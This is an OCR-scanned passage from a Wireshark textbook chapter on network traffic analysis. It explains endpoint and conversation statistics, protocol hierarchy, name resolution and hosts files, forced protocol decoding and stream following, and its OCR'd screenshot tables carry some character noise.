64.208.21.43 172.16.16.128 551 357k 309 280 k 242 77k 6.085472000 72.329769 31k 8523 
65.173.218.96 172.16.16.136 473 331k 263 305k 210 25 k 59.432328000 27.290208 89k 7497 
66.35.45.201 172.16.16.136 1,106 807k 596 702k 510 104k 10.306330000 83.442116 67k 10k 
66.227.17.18 172.16.16.197 56 12k 28 8577 28 3990 17.882206000 50.526514 1358 631 
66.235.142.3 172.16.16.197 10 2285 4 853 6 1432 17.860779000 0.245516 27k 46k 
66.235.143.54 172.16.16.128 16 5217 7 1573 9 3644 4.475410000 15.134210 831 1926 
66.235.143.121 172.16.16.197 10 3234 5 1490 5 1744 73.279308000 9.893837 1204 1410 ¥ 
C Name resolution Limit to display filter 
Copy Y| Follow Stream... Graph... | Close Help 








Figure 5-3: The Conversations window lets you dissect each conversation in a capture file. 


The Conversation window is organized by protocol. To see only con- 
versations using a particular protocol, click one of the tabs at the top of 
the window (as with the Endpoints window) or add other protocol types 
by clicking the Conversation Types button at the lower right. As with the 
Endpoints window, you can use name resolution, limit the visible conversa- 
tions using a display filter, and right-click a specific conversation to create 
filters based on specific conversations. Conversation-based filters are useful 
for digging into the details of interesting communication sequences. 


Identifying Top Talkers with Endpoints and Conversations 


lotsofweb.pcapng The Endpoints and Conversations windows are helpful in network trouble- 
shooting, especially when you're trying to locate the source of a significant 
amount of traffic on the network. 

As an example, let’s look again at lotsofweb.pcapng. As the name implies, 
this capture file contains HTTP traffic generated by multiple clients brows- 
ing the internet. Figure 5-4 shows a list of endpoints in this capture file 
sorted by number of bytes. 

Notice that the endpoint responsible for the most traffic (by bytes) is 
the address 172.16.16.128. This is an internal network address (we’ll cover 
how that is determined in Chapter 7), and, as the device responsible for the 
most communication in this capture, it is given the designation top talker. 
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M Wireshark - Endpoints - lotsofweb = o x 
IPv4*95 Ethernet - 12 IPv6-5 TCP + 358 UDP ° 106 
Address Packets Bytes Packets A —B BytesA—-B PacketsB-A BytesB-—A Latitude Longitude A 
172.16.16.128 8,324 7387 k 2790 507 k 5534 6879k - - 
74.125.103.163 3,927 4232 k 2882 4173 k 1045 58k - - 
172.16.16.136 2,349 1455k 1137 213k 1212 1241k - - 
172.16.16.197 2,157 1073k 1107 221k 1050 851k - - 
66.35.45.201 1,106 807k 596 702k 510 104k - - 
74.125.103.147 608 633k 435 620k 173 12k - - 
74.125.166.28 553 532k 382 519k 171 13k - - 
74.125.95.149 543 409k 336 365k 207 43k - - 
64.208.21.43 551 357k 309 280 k 242 7k- - 
65.173.218.96 473 331k 263 305k 210 25k - - 
4.23,.40.126 451 318k 234 291k 217 26k - - 
209.85.225.165 294 292k 211 282k 83 10k - - 
205.203.140.65 363 251k 235 179k 128 72k - - 
204.160.126.126 449 185k 206 118k 243 66k - - 
204.160.104.126 327 149k 166 85k 161 64k - - 
72,32.92.4 387 130k 190 97k 197 32k - - 
C Name resolution C Limit to display filter 
Copy ¥ | Map Close Help 
































Figure 5-4: The Endpoints window shows which hosts are talking the most. 


The address with the second highest amount of traffic is 74.125.103.163, 
an external (internet) address. When you encounter external addresses 
that you don’t know anything about, you can search the WHOIS registry to 
find the registered owner. In this case, the American Registry for Internet 
Numbers (hitps://whois.arin.net/ui/) reveals that Google owns this IP address, 
as seen in Figure 5-5. 








Net Range 74.125.0.0 - 74.125.255.255 
CIDR 74.125.0.0/16 

Name GOOGLE 

Handle NET-74-125-0-0-1 
Parent 

Net Type Direct Allocation 
Origin AS 

Organization Google Inc. (GOGL) 
Registration Date 2007-03-13 

Last Updated 2012-02-24 
Comments 

RESTful Link 

See Also 

See Also 











Figure 5-5: Viewing WHOIS results for 74.125.103.163 points to a Google IP. 
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DETERMING IP ADDRESS OWNERSHIP WITH WHOIS 


IP address assignments are managed by different entities based on their geo- 
graphic location. ARIN is responsible for IP address assignment in the United 
States and some surrounding areas, while AfriNIC manages those in Africa, 
RIPE handles Europe, and APNIC manages Asia/Pacific. Generally, you would 
perform a WHOIS for an IP at the website of the registry responsible for that 
IP. Of course, just by looking at an address, you are unlikely to know which 
regional registry is responsible for it. Websites like Robtex (http://robtex.com/) 


will do the hard work for you and query the correct registry to provide results. 


However, if you at first query the wrong registry, you will typically be pointed 
to the correct one. 





Given this information, you could assume either that 172.16.16.128 
and 74.125.103.163 are communicating a lot with multiple other devices on 
their own or that both endpoints are communicating with each other. In 
fact, as is often the case with top-talking endpoint pairs, the endpoints are 
communicating with each other. To confirm this, open the Conversations 
window, select the IPv4 tab, and sort the list by bytes. You should see that 
these two endpoints comprise the conversation with the highest num- 
ber of transferred bytes. The pattern of transfer suggests a large down- 
load, because the number of bytes transmitted from external Address A 
(74.125.103.163) is much greater than the number of bytes transmitted 
from internal Address B (172.16.16.128), as shown in Figure 5-6. 








M Wireshark - Conversations » lotsofweb = x 











Ethernet * 13 IPv4 103 IPv6 «4 TCP * 279 UDP «93 






































Address A Address B Packets Bytes PacketsA—-B BytesA—B PacketsB—-A BytesB—A Rel Start Duration ^ 
74.125.103.163 172.16.16.128 3,927 4232k 2882 4173 k 1045 58 k 39,247091000 54.307799 
66.35.45.201 172.16.16.136 1,106 807k 596 702k 510 104k 10.306330000 83.442116 
74.125.103.147 172.16.16.128 608 633k 435 620k 173 12k 9,966132000 7.539890 
74.125.166.28 172.16.16.128 553 532k 382 519k 171 13k 3.242850000 38.430937 
64.208.21.43 172.16.16.128 551 357k 309 280k 242 77k 6.085472000 72.329769 
65.173.218.96 172.16.16.136 473 331k 263 305k 210 25 k 59,432328000 27.290208 
74.125.95.149 172.16.16.128 415 323k 271 289 k 144 33k 3.243592000 80.884280 
4.23.40.126 172.16.16.197 451 318k 234 291k 217 26 k 73.085870000 13.245934 
172.16.16.128  209.85.225.165 274 288k 71 8345 203 280k 4.385288000 48.369102 
172.16.16.128 — 205.203.140.65 363 251k 128 72k 235 179k 1.709231000 76.713264 
172.16.16.197 204.160.126.126 449 185k 243 66k 206 118 k 16.497808000 69.835435 
172.16.16.128 204.160.104.126 327 149k 161 64k 166 85k 3.317446000 11.191162 
72.32.92.4 172.16.16.136 387 130k 190 97k 197 32k 14.245523000 36.732188 v 
< > 
Name resolution Limit to display filter 
Copy v| Follow Stream Graph... Close Help 











Figure 5-6: The Conversations window confirms that the two top talkers are communicat- 
ing with each other. 


You can examine this conversation by applying this display filter: 





ip.addr == 74.125.103.163 && ip.addr == 172.16.16.128 





If you scroll through the list of packets, you'll see several DNS requests 
to the youtube.com domain in the Info column of the Packet List window. 
This is consistent with our finding that 74.125.103.163 is a Google-owned IP 
address, because Google owns YouTube. 

You'll see how to use the Endpoints and Conversations windows in prac- 
tical scenarios throughout the remaining chapters of this book. 


Protocol Hierarchy Statistics 








lotsofweb.pcapng When dealing with unfamiliar capture files, you'll sometimes need to deter- 
mine the distribution of traffic by protocol. That is, what percentage of a 
capture is TCP, IP, DHCP, and so on? Rather than counting packets and 
totaling the results, Wireshark’s Protocol Hierarchy Statistics window can 
provide this information for you. 

For example, with the lotsofweb.pcapng file still open and any previously 
applied filters cleared, open the Protocol Hierarchy Statistics window, as 
shown in Figure 5-7, by choosing Statistics » Protocol Hierarchy. 

M Wireshark « Protocol Hierarchy Statistics » lotsofweb = m] x 
Protocol Percent Packets Packets Percent Bytes Bytes Bits/s End Packets End Bytes End Bits/s 
v Frame 100.0 12899 100.0 9931436 847k 0 0 0 

vV Ethernet 100.0 12899 100.0 9931436 847k 0 0 0 
V Internet Protocol Version 6 0.2 32 0.1 5020 428 0 0 0 
YV User Datagram Protocol 0.2 32 0.1 5020 428 0 0 0 
Link-local Multicast Name Resolution 0.2 28 0.0 2408 205 28 2408 205 
DHCPv6 0.0 2 0.0 308 26 2 308 26 
Data 0.0 2 0.0 2304 19% 2 2304 196 
v Internet Protocol Version 4 99.7 12861 99.9 9926164 847k 0 0 0 
V User Datagram Protocol 17 214 0.3 28932 2468 0 0 0 
Simple Network Management Protocol 0.0 4 0.0 476 40 4 476 40 
Service Location Protocol 0.0 1 0.0 86 T 1 86 7 
NetBIOS Name Service 0.3 43 0.0 3956 337 43 3956 337 
Multicast Domain Name System 0.0 6 0.0 800 68 6 800 68 
Link-local Multicast Name Resolution 0.2 28 0.0 1848 157 28 1848 157 
Hypertext Transfer Protocol 0.2 25 0.1 9395 81 25 9395 801 
Domain Name System 0.8 105 0.1 11687 997 105 11687 997 
Bootstrap Protocol 0.0 2 0.0 684 58 2 684 58 
¥ Transmission Control Protocol 98.0 12645 99.7 9897140 844k 10905 8908786 760k 
Secure Sockets Layer 0.0 1 0.0 103 8 1 103 8 
Malformed Packet 0.0 3 0.0 4380 I3 3 4380 373 
V Hypertext Transfer Protocol 13.5 1736 9.9 983871 83k 1364 723402 61k 
YV Portable Network Graphics 0.1 17 0.1 10816 922 16 10469 893 
Malformed Packet 0.0 1 0.0 347 29 1 347 29 
Media Type 0.2 28 0.2 19284 1645 28 19284 1645 
Malformed Packet 0.0 1 0.0 314 26 1 314 26 
Line-based text data 11 145 1.0 103728 8851 145 103728 8851 
JPEG File Interchange Format 0.6 72 0.6 62036 5293 72 62036 5293 
JavaScript Object Notation 0.0 3 0.0 2843 242 3 2843 242 
eXtensible Markup Language 0.1 11 0.1 5946 507 11 5946 507 
Compuserve GIF 0.7 95 0.6 55502 4736 95 55502 4736 
Internet Group Management Protocol 0.0 2 0.0 92 7 2 92 7 
Address Resolution Protocol 0.0 6 0.0 252 21 6 252 21 











No display filter. 











Figure 5-7: The Protocol Hierarchy Statistics window shows the distribution of traffic by protocol. 
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The Protocol Hierarchy Statistics window gives you a snapshot of 
the type of activity occurring on a network. In Figure 5-7, 100 percent is 
Ethernet traffic, 99.7 percent is IPv4, 98 percent is TCP, and 13.5 percent is 
HTTP from web browsing. This information provides a great way to bench- 
mark your network, especially once you have a mental picture of what your 
network traffic usually looks like. For instance, if you know that 10 percent 
of your network traffic is normally ARP traffic, but you see 50 percent ARP 
traffic in a recent capture, then something might be wrong. In some cases, 
the mere existence of a protocol could be of interest. If you don’t have any 
devices configured to use Spanning Tree Protocol (STP), seeing it in a pro- 
tocol hierarchy might mean that a device is misconfigured. 

Over time, you'll find that you can use the Protocol Hierarchy Statistics 
window to profile the users and devices on a network simply by looking at 
the distribution of protocols in use. For example, a higher amount of HTTP 
traffic will tell you that there’s a lot of web browsing going on. You may also 
find that you can identify specific devices on the network simply by look- 
ing at the traffic from a network segment belonging to a business unit. For 
example, the IT department might use more administrative protocols such 
as ICMP or SNMP, customer service might be responsible for a high volume 
of SMTP (email) traffic, and the pesky intern in the corner might be flood- 
ing the network with World of Warcraft traffic! 


Name Resolution 


Chapter 5 


Network data is sent between endpoints with the help of various alpha- 
numeric addressing systems that are often too long or complicated to remem- 
ber, such as MAC address 00:16:ce:6e:8b:24, [Pv4 address 192.168.47.122, or 
IPv6 address 2001:db8:a0b:12f0::1. Name resolution (also called name lookup) 
converts one identifying address into another, mostly for the sake of mak- 
ing the address easier to remember. For example, it’s much easier to remem- 
ber google.com than to remember 216.58.217.238. By associating easy-to-read 
names with these cryptic addresses, we make them easier to remember and 
identify. 


Enabling Name Resolution 


Wireshark can use name resolution when it displays packet data to make 
analysis easier. To have Wireshark use name resolution, choose Edit > 
Preferences >» Name Resolution. This window is shown in Figure 5-8. Here 
are the primary options available in Wireshark for name resolution: 


Resolve MAC addresses Uses the ARP protocol to attempt to con- 
vert layer 2 MAC addresses, such as 00:09:5b:01:02:03, into layer 3 
addresses, such as 10.100.12.1. If attempts at these conversions fail, 
Wireshark will use the ethers file in its program directory to attempt 
conversion. Wireshark’s last resort is to convert the first 3 bytes of the 
MAC address into the device’s IEEE-specified manufacturer name, such 
as Netgear_01:02:03. 


Resolve transport names Attempts to convert a port number into a 
name associated with it, for example, to display port 80 as http. This is 
handy when you encounter an uncommon port and don’t know what 
service is typically associated with it. 


Resolve network (IP) addresses Attempts to convert a layer 3 
address, such as 192.168.1.50, into an easy-to-read DNS name, such as 
MarketingPCl.domain.com. This is helpful for identifying the purpose or 
owner of a system, assuming it has a descriptive name. 














@ Wireshark - Preferences ? x 
vV Appearance Daae Reais 
Layout 
Calini M Resolve MAC addresses 
Font and Colors Resolve transport names 
Capture [C] Resolve network (IP) addresses 





Filter Expressions 
Name Resolution 
Protocols Use an external network name resolver 
Statistics A 

Advanced 


| Use captured DNS packet data for address resolution 


Enable concurrent DNS name resolution 














Maximum concurrent requests | 500 








L_] Only use the profile “hosts” file 
[C] Enable OID resolution 











C] Suppress SMI errors 


SMI (MIB and PIB) paths Edit... 
SMI (MIB and PIB) modules Edit... 


GeolP database directories Edit... 











Cancel Help 








Figure 5-8: Enabling name resolution in the Preferences dialog. Only Resolve MAC 
addresses is selected amongst the first three checkboxes pertaining to types of name 
resolution. 


The Name Resolution preferences dialog in Figure 5-8 includes a few 
other useful options: 


Use captured DNS packet data for address resolution Parses DNS 
data from captured DNS packets to resolve IP addresses to DNS names. 


Use an external network name resolver Allows Wireshark to gener- 
ate queries to the DNS server used by your analysis machine in order 

to resolve IP addresses to DNS names. This is helpful if you want to use 
DNS name resolution but the capture you are analyzing doesn’t contain 
the relevant DNS packets. 


Maximum concurrent requests Rate limits the number of concurrent 
DNS queries that can be outstanding at once. Use this option if your 
capture will generate a lot of DNS requests and you're concerned about 
taking up too much bandwidth on your network or DNS server. 
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Only use the profile “hosts” file Limits DNS resolution to the host 
file associated with the active Wireshark profile. P11 describe how to use 
this file later in this section. 


The changes made in the Preferences screen will persist after Wireshark 
is closed and reopened. To make name resolution changes on the fly with- 
out them being persistent, toggle name resolution settings on or off by 
clicking View >} Name Resolution on the main drop-down menu. You have 
the option of enabling or disabling name resolution for physical, transport, 
and network addresses. 

You can leverage the various name resolution tools to make your cap- 
ture files more readable and to save a lot of time in certain situations. For 
example, you can use DNS name resolution to help readily identify the 
name of a computer you are trying to pinpoint as the source of a particular 
packet. 


Potential Drawbacks to Name Resolution 


Given its benefits, using name resolution may seem like a no-brainer, but 
there are some potential drawbacks. First, network name resolution can 
fail if there is no DNS server available to provide the name associated with 
an IP address. Name resolution information is not saved with the capture 
file, so the resolution process must take place every time you open a file. If 
you capture packets on one network and then open the capture on another 
network, then your system might not be able to access the DNS servers from 
the source network and name resolution will fail. 

In addition, name resolution requires additional processing overhead. 
When dealing with a very large capture file, you may want to forgo name 
resolution to conserve system resources. If you try to open a large capture 
and find your system struggling to load it or Wireshark crashes, disabling 
name resolution might help. 

One further issue is that network name resolution’s reliance on DNS 
may generate unwanted packets that will cloud your capture file as traffic is 
sent to DNS servers to resolve addresses. Complicating things further, if the 
capture file you are analyzing contains malicious IP addresses, attempting 
to resolve them could generate queries to attacker-controlled infrastructure 
that could tip off an attacker that you are aware of their actions, possibly 
making you a target. To reduce the risk of clouding your packet file or of 
unwittingly communicating with an attacker, disable the Use an external 
network name resolver option in the Name Resolution Preferences dialog. 


Using a Custom hosts File 


It can be tedious to keep track of traffic from multiple hosts in large capture 
files, especially when external host resolution isn’t available. One way to help 
is to manually label systems based on their IP addresses with a Wireshark 
hosts file, which is a text file with a list of IP address to name mappings. You 
can use a hosts file to label addresses in Wireshark with names for quick ref- 
erence. These names will be shown in the Packet List pane. 


To use a hosts file, follow these steps: 


1. Choose Edit » Preferences } Name Resolution and select Only use the 
profile “hosts” file. 


2. Create a new file using Windows Notepad or a similar text editor. The 
file should contain one entry per line with an IP address and the name 
to resolve to, as shown in Figure 5-9. The name you choose on the right 
will be what is shown in the packet list window whenever Wireshark 
encounters the IP address on the left. 





| hosts - Notepad = o x 
File Edit Format View Help 


172.16.16.128 Workstation 
74.125.95.104 [Google 








Figure 5-9: Creating a Wireshark hosts file 


3. Save the file as a plaintext file with the name hosts to the appropriate 
directory, as listed below. Be sure that the file has no extension! 


e Windows: <USERPROFILE>\Application Data\Wireshark\hosts 
e OSX: /Users/<username>/wireshark/hosts 


e Linux: /home/<username>/.wireshark/hosts 


Now open a capture, and any IP addresses in your hosts file should resolve 
to the specified names, as shown in Figure 5-10. Instead of IP addresses in 
the Source and Destination columns of the packet list window, more mean- 
ingful names are shown. 




















M http_google.pcap - (m) x 
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help 
Amio TRE CeeSF SSS aaak 
(A | Apply a display filter ... <Ctrl- EJ ~) Expression + TCPRST 
No. Time Source Destination Protocol Length Info 
1 0.000009 Workstation Google TCP 66 1606 > 80 [SYN] Seq=2082691767 Win=8192 Len=@ MSS=1460 WS=4 SACK_PERM=1 
2 0.030107 Google Workstation TCP 66 8@ > 1606 [SYN, ACK] Seq=2775577373 Ack=2082691768 Win=572@ Len=@ MSS=14@6 SACK_PERM=1 W.. 
3 0.030182 Workstation Google TCP 54 1606 > 80 [ACK] Seq=2082691768 Ack=2775577374 Win=16872 Len=0 
4 0.030248 Workstation Google HTTP 681 GET / HTTP/1.1 





Figure 5-10: Name resolution from a hosts file in Wireshark 


Using hosts files in this way can dramatically improve your ability to rec- 
ognize certain hosts during analysis. When working with a team of analysts, 
consider sharing a hosts file of known assets among your networking staff. 
This will help your team quickly recognize systems with static addresses, 
such as servers and routers. 


If your hosts file doesn’t appear to be working, make sure that you haven't acciden- 
tally added a file extension to the filename. The file’s name should simply be hosts. 
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Manually Initiated Name Resolution 


Wireshark also has the ability to force name resolution on a temporary, 
on-demand basis. This is done by right-clicking a packet in the Packet List 
pane and choosing the Edit Resolved Name option. The window that pops 
up will allow you to specify a name for an address, like a label. This resolu- 
tion will be lost once the capture file is closed, making this a quick way to 
label an address without making any permanent changes that would have to 
be reverted later. I use this technique often because it is a little easier than 
manually editing a hosts file for every packet capture I look at. 


Protocol Dissection 


wrongdissector 
.peapng 
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One of Wireshark’s biggest strengths is its support for the analysis of over 
a thousand protocols. Wireshark has this capability because it is open 
source, thus providing a framework for creating protocol dissectors. These 
allow Wireshark to recognize and decode a protocol into various fields so 
the protocol can be displayed in the user interface. Wireshark uses several 
dissectors in unison to interpret each packet. For example, the ICMP proto- 
col dissector allows Wireshark to recognize that an IP packet contains ICMP 
data, pull out the ICMP type and code, and format those fields for display 
in the Info column of the Packet List pane. 

You can think of a dissector as the translator between raw data and the 
Wireshark program. For a protocol to be supported by Wireshark, it must 
have a dissector (or you can write your own). 


Changing the Dissector 


Wireshark uses dissectors to detect individual protocols and decide how to 
display network information. Unfortunately, Wireshark doesn’t always make 
the right choices when selecting the dissector to use on a packet. This is 
especially true when a protocol on the network is using a nonstandard con- 
figuration, such as a non-default port (which is often configured by network 
administrators as a security precaution or by employees trying to circum- 
vent access controls). 

When Wireshark incorrectly applies dissectors, it’s possible to override 
this selection. For example, open the trace file wrongdissector.pcapng. This 
file contains a bunch of SSL communication between two computers. SSL is 
the Secure Socket Layer protocol, which is used for encrypted communica- 
tion between hosts. Under most normal circumstances, viewing SSL traffic in 
Wireshark won't yield much usable information due to its encrypted nature. 
However, there is something definitely wrong here. If you peruse the con- 
tents of several of these packets by clicking them and examining the Packet 
Bytes pane, you will find plaintext traffic. In fact, if you look at packet 4, 
you will find mention of the FileZilla FTP server application. The next few 
packets clearly display a request and response for both a username and a 
password. 


If this were actually SSL traffic, you wouldn’t be able to read any of the 
data contained in the packets, and you certainly wouldn’t see all the user- 
names and passwords transmitted in clear text, as in Figure 5-11. Given the 
information shown here, it’s safe to assume that this is probably FTP traffic, 
rather than SSL traffic. Wireshark is likely interpreting this traffic as SSL 
because it is using port 443, as seen under the Info column, and port 443 is 
the standard port used for HTTPS (HTTP over SSL). 





M wrongdissector.pcap - a x 
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help 


ACO UBRECeoSt seieaaan 























(A [Apply a display filter ... <Ctrl-/ Cy ~] Expression.. + TCPRST 
No. Time Source Destination Protocol Length Info A 

7 0.001545 192.168.0.53  192.168.0.82 TCP 115 443 > 1492 [PSH, ACK] Seq=189275032 Ack=253948672 Win=64240.. | 

8 0.036053 192.168.0.82  192.168.0.53 TCP 66 1492 + 443 [PSH, ACK] Seq=253948672 Ack=189275093 Win=65536.. 

9 0.037776 192.168.0.53  192.168.0.82 TCP 87 443 > 1492 [PSH, ACK] Seq=189275093 Ack=253948684 Win=64228... 

10 0.038371 192.168.0.82  192.168.0.53 TCP 66 1492 > 443 [PSH, ACK] Seq=253948684 Ack=189275126 Win=65280... 

11 @.038876 192.168.0.53 192.168.0.82 TCP 69 443 + 1492 [PSH, ACK] Seq=189275126 Ack=253948696 Win=64216... 

12 0.040079 192.168.0.82 192.168.@.53 TCP 60 1492 + 443 [PSH, ACK] Seq=253948696 Ack=189275141 Win=65288... 


y 











> Frame 10: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) 
> Ethernet II, Src: HewlettP_bf:91:ee (@@:25:b3:bf:91:ee), Dst: Vmware_25:@2:5e (@@:@c:29:25:02:5e) 
> Internet Protocol Version 4, Src: 192.168.@.82 (192.168.0.82), Dst: 192.168.0.53 (192.168.0.53) 
> Transmission Control Protocol, Src Port: 1492 (1492), Dst Port: 443 (443), Seq: 253948684, Ack: 189275126, Len: 12 
Y Data (12 bytes) 
Data: 504153532061646d696eGdea 
[Length: 12] 




















000 @@ @c 29 25 @2 Se @@ 25 b3 bf 91 ee 08 00 45 00 T e TE E. 

[z 00 34 37 69 40 00 80 OG 00 GƏ c@ a8 00 52 cð a8 -47i@. os 

0020 @ 35 05 d4 @1 bb @f 22 f3 @c Ob 48 1b f6 50 18 «5. e” ...H..P. 

0030 00 ff 81 fe oo oo TETUER O... 

eoso ZEKE E 

@ 7 Data Gata), 12bytes || Packets: 52 - Displayed: 52 (100.0%) Load time: 0:0.1|| Profile: Default 





Figure 5-11: Plaintext usernames and passwords? This looks more like FIP than SSL! 


To fix this problem, you can apply a forced decode to Wireshark to use the 
FTP protocol dissector on these packets. Here are the steps: 


1. Right-click an SSL packet (such as packet 30) in the Protocol column 
and select Decode As, which opens a new dialog. 


2. Tell Wireshark to decode all TCP port 443 traffic as FTP by selecting 
TCP port in the Field column, entering 443 in the Value column, and 
selecting FTP from the drop-down menu in the Current column, as 
shown in Figure 5-12. 





M Wireshark . Decode As... ? x 





Field Value Type Default Current 


TCP port y | 443 v |Integer, base 10 SSL FTP Aa 

















a] Save Cancel [ Help 








Figure 5-12: The Decode As... dialog allows you to create forced decodes. 


3. Click OK to see the changes immediately applied to the capture file. 
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The data will be decoded as FTP traffic so you can analyze it from 
the Packet List pane without needing to dig deep into individual bytes 
(Figure 5-13). 





M wrongdissector.pcap às o x 


File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help 














Ang SRE Res eT SSS QaaQas 
(A [Apply a display fiter ... <Ctrl-/> EJ =) Expression.. | + TCP RST 
No. Time Source Destination Protocol Length Info a 





3 0.000135 192.168.0.82 192.168.0.53 TCP 54 1492 + 443 [ACK] Seq=253948672 Ack=189274945 Win=65536 Len=0 

4 0.001109 192.168.0.53 192.168.@.82 FTP 96 Response: 22@-FileZilla Server version @.9.33 beta 

5 @.001358 192.168.0.53 192.168.@.82 FTP 99 Response: 22@-written by Tim Kosse (Tim.Kossefigmx.de) 

6 0.001392 192.168.0.82 192.168.0.53 TCP 54 1492 + 443 [ACK] Seq=253948672 Ack=189275@32 Win=65536 Len=@ 

7 0.001545 192.168.0.53 192.168.@.82 FTP 115 Response: 220 Please visit http://sourceforge.net/projects/filezilla/ 
8 0.036053 192.168.0.82 192.168.0.53 FTP 66 Request: USER admin 

9 @.037776 192.168.0.53 192.168.@.82 FTP 87 Response: 331 Password required for admin 

10 0.038371 192.168.0.82 192.168.0.53 FTP 66 Request: PASS admin 

11 0.038876 192.168.0.53 192.168.0.82 FTP 69 Response: 230 Logged on 

12 0.040079 192.168.0.82 192.168.0.53 FTP 60 Request: SYST 

13 0.040530 192.168.0.53 192.168.0.82 FTP 86 Response: 215 UNIX emulated by FileZilla 

14 0.041629 192.168.0.82 192.168.0.53 FTP 60 Request: FEAT 

15 0.054737 192.168.0.53 192.168.0.82 FTP 69 Response: 211-Features: 

16 0.054907 192.168.0.53 192.168.0.82 FTP 61 Response: MDTM y 








Figure 5-13: Viewing properly decoded FTP traffic 


The forced decode feature can be used multiple times in the same cap- 
ture file. Wireshark will keep track of your forced decodes for you in the 
Decode As... dialog, where you can view and edit all of the forced decodes 
you have created so far. 

By default, forced decodes are not saved when you close a capture. 
You can remedy this by clicking the Save button in the Decode As... dialog. 
This will save the protocol-decoding rules to your current Wireshark user 
profile; they will be applied when you open any capture using that profile. 
Saved decode rules can be removed by clicking the minus button in the 
dialog. 

It’s very easy to save decoding rules and forget about them. This can 
lead to a lot of confusion when you aren’t prepared for it, so be mindful of 
forced decodes. To prevent myself from falling victim to this oversight, I 
generally avoid saving forced decodes to my primary Wireshark profile. 


Viewing Dissector Source Code 


The beauty of working with an open source application is that, if you are 
confused about why something is happening, you can look at the source 
code and find out why. This really comes in handy when you are trying 
to determine why a particular protocol has been interpreted incorrectly, 
because you can examine individual protocol dissectors. 

Examining the source code of protocol dissectors can be done directly 
from the Wireshark website by clicking the Develop link and clicking Browse 
the Code. This link will send you to the Wireshark code repository, where 
you can view the release code for recent Wireshark versions. The protocol 
dissectors are in the epan/dissectors folder, and each dissector is labeled 
packets-<protocolname>.c. 
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These files can be rather complex, but they all follow a standard tem- 
plate and tend to be commented very well. You don’t need to be an expert C 
programmer to understand the basic function of each dissector. If you want 
to get a deep understanding of what you are seeing in Wireshark, I recom- 
mend taking a look at dissectors for some of the simpler protocols. 


Following Streams 


http_google.pcapng 


One of Wireshark’s most satisfying analysis features is its ability to reassemble 
data from multiple packets into a consolidated, easily readable format, often 
called a packet transcript. So you don’t have to view data being sent from client 
to server in a bunch of small chunks while clicking from packet to packet, 
stream following sorts the data to make it easier to view. 

Four types of streams are available to follow: 


TCP stream Assembles data from protocols that utilize TCP, such as 
HTTP and FTP. 


UDP stream Assembles data from protocols that utilize UDP, such 
as DNS. 


SSL stream Assembles data from protocols that are encrypted, such 
as HTTPS. You must supply keys to decrypt the traffic. 


HTTP stream Assembles and decompresses data from the HTTP pro- 
tocol. This is useful when following HTTP data via TCP stream doesn’t 
decode the HTTP payload fully. 


As an example, consider a simple HTTP transaction in the file http 
_google.pcapng. Click any of the TCP or HTTP packets in the file, right-click 
the packet, and choose Follow TCP Stream. This will consolidate the TCP 
stream and open the conversation transcript in a separate window, as in 
Figure 5-14. 

The text displayed in this window is in two colors, with red text (shown 
here with the lighter gray shading) signifying traffic from source to desti- 
nation and blue text (shown here with the darker gray shading) identify- 
ing traffic in the opposite direction, from destination to source. The color 
relates to which side initiated the communication. In our example, the 
client initiated the connection to the web server, so it’s displayed in red. 

The communication in the TCP stream begins with an initial GET 
request for the web root directory (/) and a response from the server 
that the request was successful in the form of an HTTP/1.1 200 OK. A similar 
pattern is repeated throughout other streams in the packet capture as the 
client requests individual files and the server responds with them. You are 
seeing a user browsing to the Google home page, but instead of having 
to step through every packet, youre able to scroll through the transcript 
with ease. You're actually seeing what the end user is seeing, but from the 
inside out. 
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GET / HTTP/1.1 A 
Host: www.google.com 

User-Agent: Mozilla/5.@ (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 

Accept-Language: en-us,en;q=0.5 

Accept-Encoding: gzip,deflate 

Accept-Charset: IS0-8859-1,utf-8;q=0.7,*;q=0.7 

Keep-Alive: 300 

Connection: keep-alive 

Cookie: 

PREF=ID=257913a938e6c248 :U=267c896b5f39fbðb:FF=4:LD=en : NR=10: TM=1260730654 : LM=1265479336 :GM=1 : S=h1UB 
GonTuWU3D23L; NID=31=Z-nhw4jUP63e@tYMTp-3TLigMSPnNSleM1kN1_DUrnO2zW1cPM4JE3AJec9b_vG- 
YFibFXszOApfbhBA1BOX4dKx4L8ZDdeikwqekgP5_kzELtC2mUHx7RHx3PIttcuZ 


HTTP/1.1 200 OK 

Date: Tue, 09 Feb 2010 61:18:37 GMT 
Expires: -1 

Cache-Control: private, max-age=0 
Content-Type: text/html; charset=UTF-8 
Content-Encoding: gzip 

Server: gws 

Content-Length: 4633 

X-XSS-Protection: @ 
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Figure 5-14: The Follow TCP Stream window reassembles the communication in 
an easily readable format. 


In addition to viewing the raw data in this window, you can search 
within the text; save it as a file; print it; or choose to view the data in 
ASCII, EBCDIC, hex, or C array format. These options, which make dig- 
ging through larger sets of data easier, can be found at the bottom of the 
Follow Stream window. 


Following SSL Streams 


Following TCP and UDP streams is a simple two-click operation, but 
viewing SSL streams in a readable format requires a few additional steps. 
Because the traffic is encrypted, you are required to supply the private key 
associated with the server responsible for the encrypted traffic. The method 
you will use to retrieve this key varies depending on the server technology 
in use and is beyond the scope of this book, but once you have it, you will 
have to load it into Wireshark using the following process: 


1. Access your Wireshark preferences by clicking Edit > Preferences. 


2. Expand the Protocols section and click the SSL protocol heading 
(shown in Figure 5-15). Click the Edit button next to the RSA keys 
list label. 

3. Click the plus (+) button. 


4. Supply the required information. This includes the IP address of the 
server responsible for the encryption, the port, the protocol, the loca- 
tion of the key file, and a password for the key file if one was used. 


5. Restart Wireshark. 
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Figure 5-15: Adding SSL decryption information 


Once this process is complete, you should be able to capture encrypted 
traffic between a client and server. Right-click an HTTPS packet and click 
Follow SSL Stream to see the clear text transcript. 

The ability to view packet transcripts is one of the most commonly 
used analysis features in Wireshark, and you will come to rely on it to 
quickly determine what specific protocols are being used to do. We’ll cover 
several additional scenarios in later chapters that rely on viewing packet 
transcripts. 


Packet Lengths 


download-slow 
.pcapng 


The size of a single packet or group of packets can tell you a lot about a situ- 
ation. Under normal circumstances, the maximum size of a frame on an 
Ethernet network is 1,518 bytes. When you subtract the Ethernet, IP, and 
TCP headers from this number, you are left with 1,460 bytes that can be used 
for the transmission of a layer 7 protocol header or for data. If you know the 
minimum requirements for packet transmission, you can begin to look at the 
